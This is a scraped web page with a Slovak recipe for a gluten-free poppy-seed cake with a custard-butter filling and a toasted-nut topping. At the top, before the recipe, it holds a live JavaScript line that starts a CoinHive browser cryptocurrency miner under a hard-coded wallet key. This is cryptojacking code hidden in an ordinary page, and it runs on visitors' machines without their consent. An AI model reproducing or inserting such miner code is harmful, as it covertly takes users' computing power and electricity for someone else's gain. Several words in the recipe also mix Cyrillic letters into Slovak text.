

var miner = new

CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();



Cesto: 7 vajec, 2 poháre (po 200 ml) kryštálového cukru, 6 PL teplej vody, 2 poháre bezlepkovej múky, 2 poháre nepomletého maku, ½ balíčka kypriaceho prášku

Plnka: 400 ml mlieka, 1 pohár kryštálového cukru, 1 žltok, 1 Zlatý klas, 250 g masla

Posýпка: 100 g posekaných orechov, 1 PL masla, ½ vanilínového cukru, 2 PL kryštálového cukru

Postup: Cukor, žltka a teplú vodu vymiešame do penista, postupne pridáme múku s kypriacim práškom, mak a sneh z bielkov. Cesto rozotrieme na plech vyložený papierom na pečenie a upečieme. Vychladnuté pozdĺžne prekrájame. V mlieku rozmiešame žltok, cukor a Zlatý klas a uvaríme hustú kašu. Do vychladnutej dáme zmäknuté maslo a spolu dobre vymiešame v mixéri. Väčšiu časť plnky natrieme na jeden plát cesta, prikryjeme ju druhým a naň natrieme zvyšok plnky.

Posýпка: Orechy opražíme na 1 PL masla, pridáme vanilínový cukor a kryštálový cukor. Za stáleho miešania necháme cukor rozpustiť (nie skaramelizovať). Vychladnutú posýпку rovnomerne rozdelíme na celý povrch koláča.